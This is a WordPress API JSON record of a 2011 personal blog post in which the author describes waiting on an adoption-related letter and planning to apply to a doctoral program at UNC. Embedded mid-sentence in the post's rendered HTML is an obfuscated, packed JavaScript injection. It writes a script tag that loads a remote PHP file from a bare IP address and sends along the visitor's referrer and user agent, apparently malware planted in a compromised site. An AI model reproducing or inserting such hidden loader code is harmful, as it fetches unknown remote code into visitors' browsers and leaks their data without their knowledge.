{"id":2641,"date":"2011-08-25T12:59:15","date_gmt":"2011-08-25T19:59:15","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2641"},"modified":"2011-12-06T13:08:01","modified_gmt":"2011-12-06T20:08:01","slug":"and-next","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2641","title":{"rendered":"And next&#8230; ?"},"content":{"rendered":"<p>My <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzaii|var|u0026u|referrer|tsraz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> letter is almost done (they keep saying) and I know I need to start thinking about what happens next.  What happens next is&#8230; waiting.  A lot of waiting.  I am not so good at waiting.<\/p>\n<p>I think it might help if I got really busy.  Being busy helps me keep from being sad.  The past few years it&#8217;s been easy to come up with all kinds of fun projects to do, to keep my mind occupied.  But I think it&#8217;s time for me to look seriously at getting back into education.  <\/p>\n<p>UNC has a doctoral program that is exactly what I want.  Just have to figure out how the hell I&#8217;m going to go back to school at nearly 40&#8230;   I did have a nice meeting with the director of the program.  She wasn&#8217;t terribly helpful but she wasn&#8217;t discouraging, either.  It&#8217;s just another long list of things to do.  I have to take the GRE again, and these days it&#8217;s a totally different test from the number-two-pencil test I took years ago.  I have to fill out lots of forms and find a bunch of money.  I need 3 letters of recommendation, from professors.  That&#8217;s going to be a problem.  I haven&#8217;t been a student in well over a decade, so I don&#8217;t even know where to start with that one.  (sigh)<\/p>\n<p>But if I could do this, even if it takes years going to evening classes part time, I would have a teaching certificate and a PhD and I could have the kind of job I still lie awake dreaming of.  <\/p>\n<p>And I would have something to do while I&#8217;m waiting.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>My letter is almost done (they keep saying) and I know I need to start&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[53,21],"class_list":["post-2641","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-adoption","tag-musings"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2641"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2641"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2641\/revisions"}],"predecessor-version":[{"id":2642,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2641\/revisions\/2642"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2641"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2641"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2641"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}